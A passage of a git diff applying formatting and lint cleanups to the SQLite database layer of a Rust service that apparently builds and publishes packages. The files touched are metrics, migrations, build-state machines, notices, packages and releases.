approved: crate::pkgver::full_version(&ae.unwrap_or_default(), &av, &ar),
serving: match (sv, sr) {
- (Some(v), Some(rel)) => {
- crate::pkgver::full_version(&se.unwrap_or_default(), &v, &rel)
- }
+ (Some(v), Some(rel)) => crate::pkgver::full_version(&se.unwrap_or_default(), &v, &rel),
_ => String::new(),
},
error,
diff --git a/src/db/metrics.rs b/src/db/metrics.rs
index 39a6b10..6c4c519 100644
--- a/src/db/metrics.rs
+++ b/src/db/metrics.rs
@@ -1,6 +1,6 @@
use rusqlite::params;
-use crate::db::*;
+use crate::db::Db;
use crate::error::{Error, Result};
use crate::time;
@@ -8,10 +8,7 @@ use crate::time;
fn count_rows(db: &Db, sql: &str) -> Result<i64> {
let sql = sql.to_string();
- db.read(move |c| {
- c.query_row(&sql, [], |r| r.get::<_, i64>(0))
- .map_err(|e| Error::db(e.to_string()))
- })
+ db.read(move |c| c.query_row(&sql, [], |r| r.get::<_, i64>(0)).map_err(|e| Error::db(e.to_string())))
}
pub fn build_state_counts(db: &Db) -> Result<Vec<(String, i64)>> {
@@ -45,7 +42,8 @@ pub fn count_pending_reviews(db: &Db) -> Result<i64> {
pub fn pending_review_ages_secs(db: &Db, now: &str) -> Result<Vec<i64>> {
db.read(|c| {
- let mut st = c.prepare("SELECT julianday(?1) - julianday(detected_at) FROM candidate WHERE state='pending_review'")?;
+ let mut st =
+ c.prepare("SELECT julianday(?1) - julianday(detected_at) FROM candidate WHERE state='pending_review'")?;
let rows = st.query_map(params![now], |r| r.get::<_, Option<f64>>(0))?;
let mut out = Vec::new();
for r in rows {
@@ -73,13 +71,9 @@ pub fn count_unacknowledged_notices(db: &Db) -> Result<i64> {
pub fn artifact_bytes_served(db: &Db) -> Result<u64> {
db.read(|c| {
- c.query_row(
- "SELECT COALESCE(sum(size),0) FROM artifact WHERE purged_at IS NULL",
- [],
- |r| r.get::<_, i64>(0),
- )
- .map(|v| v.max(0) as u64)
- .map_err(|e| Error::db(e.to_string()))
+ c.query_row("SELECT COALESCE(sum(size),0) FROM artifact WHERE purged_at IS NULL", [], |r| r.get::<_, i64>(0))
+ .map(|v| v.max(0) as u64)
+ .map_err(|e| Error::db(e.to_string()))
})
}
@@ -98,4 +92,3 @@ pub fn last_poll_age_secs(db: &Db, now: &str) -> Result<Option<i64>> {
})?;
Ok(at.and_then(|t| time::delta_secs(now, &t)))
}
-
diff --git a/src/db/migrations.rs b/src/db/migrations.rs
index 7adc69c..2e552f2 100644
--- a/src/db/migrations.rs
+++ b/src/db/migrations.rs
@@ -5,7 +5,7 @@ pub struct Migration {
pub sql: &'static str,
}
-const M_0001_CORE: &str = r#"
+const M_0001_CORE: &str = r"
-- The single repo we publish. Exactly one row.
CREATE TABLE repo (
id INTEGER PRIMARY KEY,
@@ -170,9 +170,9 @@ CREATE TABLE package (
state TEXT NOT NULL DEFAULT 'in_index' -- in_index | removed
);
CREATE INDEX package_by_name ON package (repo_id, name, state);
-"#;
+";
-const M_0002_BUILD: &str = r#"
+const M_0002_BUILD: &str = r"
CREATE TABLE build (
id TEXT PRIMARY KEY, -- deterministic intent hash
pkgbase_id INTEGER NOT NULL REFERENCES pkgbase(id),
@@ -209,7 +209,7 @@ CREATE TABLE build_step (
finished_at TEXT,
PRIMARY KEY (build_id, step)
);
-"#;
+";
const M_0003_NOTICES: &str = r#"
-- "something changed but nothing is publishable".
@@ -253,7 +253,7 @@ CREATE TABLE dep_edge (
);
"#;
-const M_0004_TRIGGERS: &str = r#"
+const M_0004_TRIGGERS: &str = r"
-- The audit log is append-only.
CREATE TRIGGER audit_no_update
BEFORE UPDATE ON audit
@@ -266,14 +266,14 @@ BEFORE DELETE ON audit
BEGIN
SELECT RAISE(ABORT, 'audit log is append-only: deletes are forbidden');
END;
-"#;
+";
-const M_0005_ARTIFACT_BUILD: &str = r#"
+const M_0005_ARTIFACT_BUILD: &str = r"
ALTER TABLE artifact ADD COLUMN build_id TEXT;
CREATE INDEX artifact_by_build ON artifact (build_id);
-"#;
+";
-const M_0006_APPROVAL_IMMUTABLE: &str = r#"
+const M_0006_APPROVAL_IMMUTABLE: &str = r"
CREATE TRIGGER approval_no_update
BEFORE UPDATE ON approval
BEGIN
@@ -285,9 +285,9 @@ BEFORE DELETE ON approval
BEGIN
SELECT RAISE(ABORT, 'approval records are immutable');
END;
-"#;
+";
-const M_0007_STAGE_B_CACHE: &str = r#"
+const M_0007_STAGE_B_CACHE: &str = r"
CREATE TABLE stage_b_cache (
pkgbase_id INTEGER NOT NULL REFERENCES pkgbase(id),
recipe_hash TEXT NOT NULL,
@@ -301,7 +301,7 @@ CREATE TABLE stage_b_cache (
);
CREATE INDEX stage_b_cache_by_pkgbase ON stage_b_cache (pkgbase_id, resolved_at);
-"#;
+";
const M_0008_RETENTION: &str = r#"
ALTER TABLE artifact ADD COLUMN purged_at TEXT;
diff --git a/src/db/mod.rs b/src/db/mod.rs
index 4379a5f..27d1bfb 100644
--- a/src/db/mod.rs
+++ b/src/db/mod.rs
@@ -29,17 +29,19 @@ mod world;
/// no crate-internal alias to keep in a production build.
#[cfg(feature = "test-support")]
pub use migrations::MIGRATIONS;
-pub(crate) use model::StateEnum;
/// Its only caller is the test-tier `world_members`, so it is gated with it.
#[cfg(feature = "test-support")]
pub(crate) use model::json_or;
+pub(crate) use model::StateEnum;
-pub use model::{
- BUILD_STEPS, BuildState, CandidateRow, CandidateState,
- Identity, Recipe, ReleaseRow,
- SourceDigest, SourceEntry, StageBCacheRow, StepState,
- SubscriptionState, UpstreamPin, WorldMember, candidate_kind,
- notice_kind,
+pub use audit::{audit, audit_in, audit_system, list_audit, AuditEntry};
+pub use invariants::approved_but_unbuilt;
+#[cfg(feature = "test-support")]
+pub use invariants::unapproved_index_entries;
+pub use metrics::{
+ artifact_bytes_served, build_state_counts, count_index_packages, count_pending_reviews, count_published_releases,
+ count_subscriptions, count_unacknowledged_notices, last_gc_age_secs, last_poll_age_secs, oldest_queued_age_secs,
+ pending_review_ages_secs,
};
/// `ReleaseState` is a column type on the release row. Nothing outside `db`
/// names it, so the alias out of `db` exists only for the test tier.
@@ -47,53 +49,42 @@ pub use model::{
pub use model::ReleaseState;
#[cfg(not(feature = "test-support"))]
pub(crate) use model::ReleaseState;
-pub use audit::{AuditEntry, audit, audit_in, audit_system, list_audit};
-pub use invariants::approved_but_unbuilt;
-#[cfg(feature = "test-support")]
-pub use invariants::unapproved_index_entries;
-pub use metrics::{
- artifact_bytes_served, build_state_counts, count_index_packages, count_pending_reviews,
- count_published_releases, count_subscriptions, count_unacknowledged_notices, last_gc_age_secs,
- last_poll_age_secs, oldest_queued_age_secs, pending_review_ages_secs,
+pub use model::{
+ candidate_kind, notice_kind, BuildState, CandidateRow, CandidateState, Identity, Recipe, ReleaseRow, SourceDigest,
+ SourceEntry, StageBCacheRow, StepState, SubscriptionState, UpstreamPin, WorldMember, BUILD_STEPS,
};
pub use notices::{acknowledge_notice, list_notices, put_notice_once};
pub use packages::{
- accepted_recipe, builds_for_pkgbase, index_artifact, index_packages,
- index_version, our_package_names,
-};
-pub use pkgbases::{
- Pkgbase, accepted_release_for, get_pkgbase, get_pkgbase_by_id, set_aur_head,
+ accepted_recipe, builds_for_pkgbase, index_artifact, index_packages, index_version, our_package_names,
};
#[cfg(feature = "test-support")]
pub use pkgbases::cas_accepted_release;
+pub use pkgbases::{accepted_release_for, get_pkgbase, get_pkgbase_by_id, set_aur_head, Pkgbase};
pub use publish_writes::{
- NewRelease, accepted_pointer_in, artifact_path, cas_accepted_release_in,
- insert_package_in, insert_release_in, remove_index_packages_in, remove_package_by_name_in,
+ accepted_pointer_in, artifact_path, cas_accepted_release_in, insert_package_in, insert_release_in,
+ remove_index_packages_in, remove_package_by_name_in, NewRelease,
};
pub use releases::{
- accepted_release, all_published_releases, release_by_id, releases_for_pkgbase,
- withdraw_release_in,
+ accepted_release, all_published_releases, release_by_id, releases_for_pkgbase, withdraw_release_in,
};
pub use repos::{ensure_repo, repo_id};
pub use retention::{
- mark_release_purged, pkgbase_release_pointers, published_release_ids, record_gc_run,
- release_artifact_paths, serving_release_ids,
+ mark_release_purged, pkgbase_release_pointers, published_release_ids, record_gc_run, release_artifact_paths,
+ serving_release_ids,
};
-pub use settings::{all_settings, setting, setting_i64};
#[cfg(feature = "test-support")]
pub use settings::set_setting;
-pub use snapshots::{SnapshotRow, put_snapshot, snapshot_by_id};
+pub use settings::{all_settings, setting, setting_i64};
#[cfg(feature = "test-support")]
pub use snapshots::snapshot_by_commit;
+pub use snapshots::{put_snapshot, snapshot_by_id, SnapshotRow};
pub use stage_b::{stage_b_cache_get, stage_b_cache_put, stage_b_recent};
pub use staleness::{
- NewArtifact, approval_note, candidate_snapshot_id, index_recipes,
- insert_artifact_in, published_world_members, put_source_cache, served_vs_offered_pkgvers,
- source_cache_path,
+ approval_note, candidate_snapshot_id, index_recipes, insert_artifact_in, published_world_members, put_source_cache,
+ served_vs_offered_pkgvers, source_cache_path, NewArtifact,
};
pub use subscriptions::{
- due_subscriptions, get_subscription, list_subscriptions, note_check,
- set_subscription_state, subscribe,
+ due_subscriptions, get_subscription, list_subscriptions, note_check, set_subscription_state, subscribe,
};
pub use world::put_world_snapshot;
#[cfg(feature = "test-support")]
@@ -138,12 +129,11 @@ fn open(path: &Path, read_only: bool) -> Result<Connection> {
fn configure(conn: &Connection, read_only: bool) -> Result<()> {
conn.pragma_update(None, "journal_mode", "WAL")
- .and_then(|_| conn.pragma_update(None, "busy_timeout", 5000))
- .and_then(|_| conn.pragma_update(None, "foreign_keys", "ON"))
+ .and_then(|()| conn.pragma_update(None, "busy_timeout", 5000))
+ .and_then(|()| conn.pragma_update(None, "foreign_keys", "ON"))
.map_err(|e| Error::db(e.to_string()))?;
if !read_only {
- conn.pragma_update(None, "synchronous", "FULL")
- .map_err(|e| Error::db(e.to_string()))?;
+ conn.pragma_update(None, "synchronous", "FULL").map_err(|e| Error::db(e.to_string()))?;
}
Ok(())
}
@@ -151,18 +141,13 @@ fn configure(conn: &Connection, read_only: bool) -> Result<()> {
pub fn migrate(path: &Path) -> Result<u32> {
let mut conn = open(path, false)?;
let mut applied = 0u32;
- let current: u32 = conn
- .pragma_query_value(None, "user_version", |r| r.get(0))
- .map_err(|e| Error::db(e.to_string()))?;
+ let current: u32 =
+ conn.pragma_query_value(None, "user_version", |r| r.get(0)).map_err(|e| Error::db(e.to_string()))?;
for m in migrations::MIGRATIONS {
if m.version > current {
- let tx = conn
- .transaction()
- .map_err(|e| Error::db(e.to_string()))?;
- tx.execute_batch(m.sql)
- .map_err(|e| Error::db(format!("migration {} ({}): {e}", m.version, m.name)))?;
- tx.pragma_update(None, "user_version", m.version)
- .map_err(|e| Error::db(e.to_string()))?;
+ let tx = conn.transaction().map_err(|e| Error::db(e.to_string()))?;
+ tx.execute_batch(m.sql).map_err(|e| Error::db(format!("migration {} ({}): {e}", m.version, m.name)))?;
+ tx.pragma_update(None, "user_version", m.version).map_err(|e| Error::db(e.to_string()))?;
tx.commit().map_err(|e| Error::db(e.to_string()))?;
applied += 1;
}
@@ -195,7 +180,7 @@ pub struct Writer {
}
impl Writer {
-/// Only `Writer::open` in this module starts a writer.
+ /// Only `Writer::open` in this module starts a writer.
fn start(path: &Path) -> Result<Self> {
let conn = open(path, false)?;
let (tx, rx) = unbounded::<Msg>();
@@ -207,7 +192,7 @@ impl Writer {
.spawn(move || {
let mut conn = conn;
alive_thread.store(true, Ordering::SeqCst);
- for msg in rx.iter() {
+ for msg in &rx {
match msg {
Msg::Call(f) => f(&mut conn),
#[cfg(feature = "test-support")]
@@ -237,9 +222,7 @@ impl Writer {
self.send(Box::new(move |conn| {
let _ = reply_tx.send(f(conn));
}))?;
- reply_rx
- .recv()
- .map_err(|_| Error::db("writer actor gone"))?
+ reply_rx.recv().map_err(|_| Error::db("writer actor gone"))?
}
pub(crate) fn tx<T>(
@@ -263,9 +246,7 @@ impl Writer {
if !self.is_alive() {
return Err(Error::db("writer actor gone"));
}
- self.tx
- .send(Msg::Call(f))
- .map_err(|_| Error::db("writer actor gone"))
+ self.tx.send(Msg::Call(f)).map_err(|_| Error::db("writer actor gone"))
}
/// Stop the writer actor.
@@ -273,7 +254,7 @@ impl Writer {
/// Test-tier only: the server runs until the process ends and never
/// quiesces the writer deliberately. Tests use it to prove a worker
/// that dies mid-write leaves the database consistent.
-#[cfg(feature = "test-support")]
+ #[cfg(feature = "test-support")]
pub fn shutdown(&self) {
let _ = self.tx.send(Msg::Shutdown);
}
@@ -312,10 +293,7 @@ impl Readers {
if pool.iter().position(|(p, _)| p == &path).is_none() {
pool.push((path.clone(), open(&path, true)?));
}
- let idx = pool
- .iter()
- .position(|(p, _)| p == &path)
- .ok_or_else(|| Error::db("reader pool lost entry"))?;
+ let idx = pool.iter().position(|(p, _)| p == &path).ok_or_else(|| Error::db("reader pool lost entry"))?;
// We only ever use one connection at a time per thread, and `f`
// receives &Connection rather than &Readers, so it cannot re-enter.
let conn = &pool[idx].1;
@@ -338,10 +316,7 @@ impl Db {
}
pub fn open_migrated(path: &Path) -> Result<Self> {
- Ok(Self {
- writer: Arc::new(Writer::start(path)?),
- readers: Arc::new(Readers::new(path)),
- })
+ Ok(Self { writer: Arc::new(Writer::start(path)?), readers: Arc::new(Readers::new(path)) })
}
pub fn read<T>(&self, f: impl FnOnce(&Connection) -> Result<T>) -> Result<T> {
@@ -352,16 +327,14 @@ impl Db {
pub fn backup_to(writer: &Writer, dest: &Path) -> Result<()> {
let dest_s = dest.display().to_string();
writer.call(move |conn| {
- conn.execute("VACUUM INTO ?1", rusqlite::params![dest_s])
- .map_err(|e| Error::db(e.to_string()))?;
+ conn.execute("VACUUM INTO ?1", rusqlite::params![dest_s]).map_err(|e| Error::db(e.to_string()))?;
Ok(())
})
}
pub fn schema_version(path: &Path) -> Result<i64> {
- let conn = rusqlite::Connection::open(path)
- .map_err(|e| Error::db(format!("{} does not open: {e}", path.display())))?;
+ let conn =
+ rusqlite::Connection::open(path).map_err(|e| Error::db(format!("{} does not open: {e}", path.display())))?;
conn.query_row("PRAGMA user_version", [], |r| r.get(0))
.map_err(|e| Error::db(format!("{} has no schema version: {e}", path.display())))
}
-
diff --git a/src/db/model/build_state.rs b/src/db/model/build_state.rs
index 37eee79..478f93a 100644
--- a/src/db/model/build_state.rs
+++ b/src/db/model/build_state.rs
@@ -1,6 +1,5 @@
use serde::{Deserialize, Serialize};
-
#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord)]
pub enum BuildState {
Queued,
@@ -42,17 +41,14 @@ impl BuildState {
}
pub fn is_terminal(&self) -> bool {
- matches!(
- self,
- BuildState::Succeeded | BuildState::Failed | BuildState::Cancelled
- )
+ matches!(self, BuildState::Succeeded | BuildState::Failed | BuildState::Cancelled)
}
/// The transition table itself. `predecessors` is how production
/// enforces it; nothing outside this module asks the question directly.
- fn can_transition(&self, to: BuildState) -> bool {
- use BuildState::*;
- if *self == to {
+ fn can_transition(self, to: BuildState) -> bool {
+ use BuildState::{BlockedMissingDep, Cancelled, Failed, Leased, Queued, Running, Succeeded};
+ if self == to {
return true;
}
match self {
@@ -67,20 +63,11 @@ impl BuildState {
}
pub(crate) fn predecessors(to: BuildState) -> Vec<&'static str> {
- BuildState::ALL
- .iter()
- .filter(|from| from.can_transition(to))
- .map(|from| from.as_str())
- .collect()
+ BuildState::ALL.iter().filter(|from| from.can_transition(to)).map(BuildState::as_str).collect()
}
pub fn active() -> &'static [BuildState] {
- &[
- BuildState::Queued,
- BuildState::Running,
- BuildState::Leased,
- BuildState::BlockedMissingDep,
- ]
+ &[BuildState::Queued, BuildState::Running, BuildState::Leased, BuildState::BlockedMissingDep]
}
}
@@ -130,9 +117,9 @@ impl StepState {
matches!(self, StepState::Succeeded | StepState::Skipped)
}
- fn can_transition(&self, to: StepState) -> bool {
- use StepState::*;
- if *self == to {
+ fn can_transition(self, to: StepState) -> bool {
+ use StepState::{Failed, Interrupted, Pending, Running, Skipped, Succeeded};
+ if self == to {
return true;
}
match self {
@@ -144,11 +131,7 @@ impl StepState {
}
pub(crate) fn predecessors(to: StepState) -> Vec<&'static str> {
- StepState::ALL
- .iter()
- .filter(|from| from.can_transition(to))
- .map(|from| from.as_str())
- .collect()
+ StepState::ALL.iter().filter(|from| from.can_transition(to)).map(StepState::as_str).collect()
}
}
@@ -158,18 +141,8 @@ impl std::fmt::Display for StepState {
}
}
-pub const BUILD_STEPS: &[&str] = &[
- "materialize",
- "plan",
- "chroot",
- "sources",
- "pkgver",
- "build",
- "collect",
- "verify",
- "ingest",
- "publish",
-];
+pub const BUILD_STEPS: &[&str] =
+ &["materialize", "plan", "chroot", "sources", "pkgver", "build", "collect", "verify", "ingest", "publish"];
#[cfg(test)]
mod tests {
@@ -192,11 +165,7 @@ mod tests {
#[test]
fn the_transition_table_is_the_machine_the_code_actually_uses() {
let reachable = |from: BuildState| -> Vec<&'static str> {
- BuildState::ALL
- .iter()
- .filter(|to| from.can_transition(**to))
- .map(|to| to.as_str())
- .collect()
+ BuildState::ALL.iter().filter(|to| from.can_transition(**to)).map(super::BuildState::as_str).collect()
};
assert_eq!(reachable(BuildState::Queued), ["queued", "leased", "running", "blocked_missing_dep", "cancelled"]);
assert_eq!(
diff --git a/src/db/model/mod.rs b/src/db/model/mod.rs
index aef6a47..df861da 100644
--- a/src/db/model/mod.rs
+++ b/src/db/model/mod.rs
@@ -209,12 +209,12 @@ mod state;
pub(crate) use state::StateEnum;
-pub use build_state::{BUILD_STEPS, BuildState, StepState};
-pub use state::{CandidateState, SubscriptionState, candidate_kind, notice_kind};
+pub use build_state::{BuildState, StepState, BUILD_STEPS};
#[cfg(feature = "test-support")]
pub use state::ReleaseState;
#[cfg(not(feature = "test-support"))]
pub(crate) use state::ReleaseState;
+pub use state::{candidate_kind, notice_kind, CandidateState, SubscriptionState};
#[cfg(test)]
mod tests {
diff --git a/src/db/model/state.rs b/src/db/model/state.rs
index 18860ff..4057652 100644
--- a/src/db/model/state.rs
+++ b/src/db/model/state.rs
@@ -1,6 +1,5 @@
use serde::{Deserialize, Serialize};
-
use crate::db::model::build_state::{BuildState, StepState};
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
@@ -40,9 +39,9 @@ impl CandidateState {
*self == CandidateState::PendingReview
}
- fn can_transition(&self, to: CandidateState) -> bool {
- use CandidateState::*;
- if *self == to {
+ fn can_transition(self, to: CandidateState) -> bool {
+ use CandidateState::{Approved, Blocked, PendingReview, Rejected, Superseded};
+ if self == to {
return true;
}
match self {
@@ -54,11 +53,7 @@ impl CandidateState {
}
pub(crate) fn predecessors(to: CandidateState) -> Vec<&'static str> {
- CandidateState::ALL
- .iter()
- .filter(|from| from.can_transition(to))
- .map(|from| from.as_str())
- .collect()
+ CandidateState::ALL.iter().filter(|from| from.can_transition(to)).map(CandidateState::as_str).collect()
}
}
@@ -78,7 +73,7 @@ pub mod candidate_kind {
/// only way to reach it, and the alias is what carries the
/// feature-conditional visibility.
mod release_state {
- use super::*;
+ use super::{Deserialize, Serialize};
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "snake_case")]
@@ -101,11 +96,8 @@ pub use release_state::ReleaseState;
pub(crate) use release_state::ReleaseState;
impl ReleaseState {
- const ALL: &'static [ReleaseState] = &[
- ReleaseState::Published,
- ReleaseState::Withdrawn,
- ReleaseState::FailedUnbuilt,
- ];
+ const ALL: &'static [ReleaseState] =
+ &[ReleaseState::Published, ReleaseState::Withdrawn, ReleaseState::FailedUnbuilt];
pub fn as_str(&self) -> &'static str {
match self {
diff --git a/src/db/notices.rs b/src/db/notices.rs
index 36263a4..795f736 100644
--- a/src/db/notices.rs
+++ b/src/db/notices.rs
@@ -1,18 +1,17 @@
use rusqlite::{params, OptionalExtension};
-use crate::db::*;
+use crate::db::{Db, Writer};
use crate::error::Result;
use crate::time;
// ----------------------------------------------------------------- notice --
-
pub fn put_notice_once(
writer: &Writer,
pkgbase_id: i64,
kind: &str,
severity: &str,
- detail: serde_json::Value,
+ detail: &serde_json::Value,
) -> Result<Option<i64>> {
let (k, s, d) = (kind.to_string(), severity.to_string(), detail.to_string());
let at = time::now();
@@ -54,11 +53,7 @@ pub fn list_notices(db: &Db, include_acknowledged: bool) -> Result<Vec<NoticeRow
"SELECT n.id, b.name, n.kind, n.severity, n.detail_json, n.created_at, n.acknowledged_at
FROM notice n JOIN pkgbase b ON b.id = n.pkgbase_id
{} ORDER BY (n.severity='high') DESC, n.created_at DESC LIMIT 500",
- if include_acknowledged {
- ""
- } else {
- "WHERE n.acknowledged_at IS NULL"
- }
+ if include_acknowledged { "" } else { "WHERE n.acknowledged_at IS NULL" }
);
let mut stmt = c.prepare(&sql)?;
let rows = stmt.query_map([], |r| {
@@ -83,11 +78,7 @@ pub fn list_notices(db: &Db, include_acknowledged: bool) -> Result<Vec<NoticeRow
pub fn acknowledge_notice(writer: &Writer, id: i64) -> Result<()> {
let at = time::now();
writer.tx(move |tx| {
- tx.execute(
- "UPDATE notice SET acknowledged_at=?1 WHERE id=?2",
- params![at, id],
- )?;
+ tx.execute("UPDATE notice SET acknowledged_at=?1 WHERE id=?2", params![at, id])?;
Ok(())
})
}
-
diff --git a/src/db/packages.rs b/src/db/packages.rs
index 247c328..3f1f96e 100644
--- a/src/db/packages.rs
+++ b/src/db/packages.rs
@@ -1,6 +1,6 @@
use rusqlite::{params, OptionalExtension};
-use crate::db::*;
+use crate::db::{Db, Recipe, ReleaseRow};
use crate::error::Result;
// ---------------------------------------------------------------- package --
@@ -79,7 +79,6 @@ pub fn index_artifact(db: &Db, name: &str) -> Result<Option<(String, String)>> {
})
}
-
pub fn our_package_names(db: &Db) -> Result<std::collections::BTreeSet<String>> {
db.read(|c| {
let mut stmt = c.prepare("SELECT DISTINCT name FROM package WHERE state='in_index'")?;
@@ -93,10 +92,7 @@ pub fn our_package_names(db: &Db) -> Result<std::collections::BTreeSet<String>>
}
pub fn accepted_recipe(db: &Db, release: &ReleaseRow) -> Result<Option<Recipe>> {
- let cid = match release.candidate_id {
- Some(c) => c,
- None => return Ok(None),
- };
+ let Some(cid) = release.candidate_id else { return Ok(None) };
db.read(move |c| {
use rusqlite::OptionalExtension;
Ok(c.query_row(
@@ -123,4 +119,3 @@ pub fn builds_for_pkgbase(db: &Db, pkgbase_id: i64, limit: i64) -> Result<Vec<cr
rows.collect::<::rusqlite::Result<Vec<_>>>().map_err(Into::into)
})
}
-
diff --git a/src/db/pkgbases.rs b/src/db/pkgbases.rs
index 743aa43..909291f 100644
--- a/src/db/pkgbases.rs
+++ b/src/db/pkgbases.rs
@@ -1,6 +1,6 @@
use rusqlite::{params, OptionalExtension, Row};
-use crate::db::*;
+use crate::db::{release_by_id, Db, ReleaseRow, Writer};
use crate::error::Result;
// ---------------------------------------------------------------- pkgbase --
@@ -33,25 +33,17 @@ const PKGBASE_COLS: &str = "id, name, aur_url, mirror_path, aur_head, \
pub fn get_pkgbase(db: &Db, name: &str) -> Result<Option<Pkgbase>> {
db.read(|c| {
- c.query_row(
- &format!("SELECT {PKGBASE_COLS} FROM pkgbase WHERE name = ?1"),
- params![name],
- row_to_pkgbase,
- )
- .optional()
- .map_err(Into::into)
+ c.query_row(&format!("SELECT {PKGBASE_COLS} FROM pkgbase WHERE name = ?1"), params![name], row_to_pkgbase)
+ .optional()
+ .map_err(Into::into)
})
}
pub fn get_pkgbase_by_id(db: &Db, id: i64) -> Result<Option<Pkgbase>> {
db.read(|c| {
- c.query_row(
- &format!("SELECT {PKGBASE_COLS} FROM pkgbase WHERE id = ?1"),
- params![id],
- row_to_pkgbase,
- )
- .optional()
- .map_err(Into::into)
+ c.query_row(&format!("SELECT {PKGBASE_COLS} FROM pkgbase WHERE id = ?1"), params![id], row_to_pkgbase)
+ .optional()
+ .map_err(Into::into)
})
}
@@ -66,19 +58,14 @@ pub fn accepted_release_for(db: &Db, pb: &Pkgbase) -> Result<Option<ReleaseRow>>
}
}
-
pub fn set_aur_head(writer: &Writer, pkgbase_id: i64, head: &str, mirror: &str) -> Result<()> {
let (h, m) = (head.to_string(), mirror.to_string());
writer.tx(move |tx| {
- tx.execute(
- "UPDATE pkgbase SET aur_head=?1, mirror_path=?2 WHERE id=?3",
- params![h, m, pkgbase_id],
- )?;
+ tx.execute("UPDATE pkgbase SET aur_head=?1, mirror_path=?2 WHERE id=?3", params![h, m, pkgbase_id])?;
Ok(())
})
}
-
/// Compare-and-set the accepted-release pointer.
///
/// Test-tier only, and the reason is worth keeping next to it: production
@@ -89,12 +76,7 @@ pub fn set_aur_head(writer: &Writer, pkgbase_id: i64, head: &str, mirror: &str)
/// names differ by three characters, which is exactly how a name-match census
/// once credited this function with a production caller it never had.
#[cfg(feature = "test-support")]
-pub fn cas_accepted_release(
- writer: &Writer,
- pkgbase_id: i64,
- expected: Option<i64>,
- new_id: i64,
-) -> Result<bool> {
+pub fn cas_accepted_release(writer: &Writer, pkgbase_id: i64, expected: Option<i64>, new_id: i64) -> Result<bool> {
writer.tx(move |tx| {
let n = tx.execute(
"UPDATE pkgbase SET current_accepted_release_id=?1
@@ -104,4 +86,3 @@ pub fn cas_accepted_release(
Ok(n == 1)
})
}
-
diff --git a/src/db/publish_writes.rs b/src/db/publish_writes.rs
index e5ce73f..11679cf 100644
--- a/src/db/publish_writes.rs
+++ b/src/db/publish_writes.rs
@@ -1,29 +1,24 @@
use rusqlite::{params, params_from_iter, OptionalExtension};
-use crate::db::*;
+use crate::db::Db;
use crate::error::Result;
// ------------------------------------------------------------ publish writes --
pub fn artifact_path(db: &Db, id: i64) -> Result<Option<String>> {
db.read(|c| {
- Ok(c.query_row("SELECT path FROM artifact WHERE id=?1", params![id], |r| r.get::<_, String>(0))
- .optional()?)
+ Ok(c.query_row("SELECT path FROM artifact WHERE id=?1", params![id], |r| r.get::<_, String>(0)).optional()?)
})
}
fn artifact_id_by_digest_in(tx: &rusqlite::Transaction<'_>, digest: &str) -> Result<Option<i64>> {
- Ok(tx
- .query_row("SELECT id FROM artifact WHERE digest=?1", params![digest], |r| r.get::<_, i64>(0))
- .optional()?)
+ Ok(tx.query_row("SELECT id FROM artifact WHERE digest=?1", params![digest], |r| r.get::<_, i64>(0)).optional()?)
}
pub fn accepted_pointer_in(tx: &rusqlite::Transaction<'_>, pkgbase_id: i64) -> Result<Option<i64>> {
- tx.query_row(
- "SELECT current_accepted_release_id FROM pkgbase WHERE id=?1",
- params![pkgbase_id],
- |r| r.get::<_, Option<i64>>(0),
- )
+ tx.query_row("SELECT current_accepted_release_id FROM pkgbase WHERE id=?1", params![pkgbase_id], |r| {
+ r.get::<_, Option<i64>>(0)
+ })
.optional()
.map(Option::flatten)
.map_err(Into::into)
@@ -54,10 +49,7 @@ pub fn remove_index_packages_in(tx: &rusqlite::Transaction<'_>, names: &[String]
}
pub fn remove_package_by_name_in(tx: &rusqlite::Transaction<'_>, repo_id: i64, name: &str) -> Result<()> {
- tx.execute(
- "UPDATE package SET state='removed' WHERE repo_id=?1 AND name=?2",
- params![repo_id, name],
- )?;
+ tx.execute("UPDATE package SET state='removed' WHERE repo_id=?1 AND name=?2", params![repo_id, name])?;
Ok(())
}
@@ -118,4 +110,3 @@ pub fn insert_package_in(
)?;
Ok(())
}
-
diff --git a/src/db/releases.rs b/src/db/releases.rs
index cff31c1..78215cc 100644
--- a/src/db/releases.rs
+++ b/src/db/releases.rs
@@ -1,6 +1,6 @@
use rusqlite::{params, OptionalExtension, Row};
-use crate::db::*;
+use crate::db::{Db, ReleaseRow, ReleaseState};
use crate::error::{Error, Missing, Refused, Result};
// ---------------------------------------------------------------- release --
@@ -32,17 +32,19 @@ const RELEASE_COLS_R: &str = "r.id, r.pkgbase_id, r.candidate_id, r.approval_id,
r.world_snapshot_id, r.state, r.published_at";
pub fn withdraw_release_in(tx: &rusqlite::Transaction<'_>, release_id: i64) -> Result<()> {
- let n = tx.execute(
- "UPDATE release SET state='withdrawn' WHERE id=?1 AND state='published'",
- params![release_id],
- )?;
+ let n =
+ tx.execute("UPDATE release SET state='withdrawn' WHERE id=?1 AND state='published'", params![release_id])?;
if n == 0 {
- let state: Option<String> = tx
- .query_row("SELECT state FROM release WHERE id=?1", params![release_id], |r| r.get(0))
- .optional()?;
+ let state: Option<String> =
+ tx.query_row("SELECT state FROM release WHERE id=?1", params![release_id], |r| r.get(0)).optional()?;
return Err(match state.as_deref().map(ReleaseState::parse) {
None => Error::not_found(Missing::Release(release_id)),
- Some(Some(s)) => Error::conflict(Refused::WrongState { entity: "release", id: release_id.to_string(), found: s.to_string(), expected: "published" }),
+ Some(Some(s)) => Error::conflict(Refused::WrongState {
+ entity: "release",
+ id: release_id.to_string(),
+ found: s.to_string(),
+ expected: "published",
+ }),
Some(None) => Error::invalid(format!(
"release {release_id} has a state outside the state machine: {:?}",
state.unwrap_or_default()
@@ -55,13 +57,9 @@ pub fn withdraw_release_in(tx: &rusqlite::Transaction<'_>, release_id: i64) -> R
pub fn release_by_id(db: &Db, id: i64) -> Result<Option<ReleaseRow>> {
db.read(|c| {
- c.query_row(
- &format!("SELECT {RELEASE_COLS} FROM release WHERE id = ?1"),
- params![id],
- row_to_release,
- )
- .optional()
- .map_err(Into::into)
+ c.query_row(&format!("SELECT {RELEASE_COLS} FROM release WHERE id = ?1"), params![id], row_to_release)
+ .optional()
+ .map_err(Into::into)
})
}
@@ -71,7 +69,8 @@ pub fn accepted_release(db: &Db, pkgbase: &str) -> Result<Option<ReleaseRow>> {
&format!(
"SELECT {RELEASE_COLS_R} FROM release r
JOIN pkgbase p ON p.current_accepted_release_id = r.id
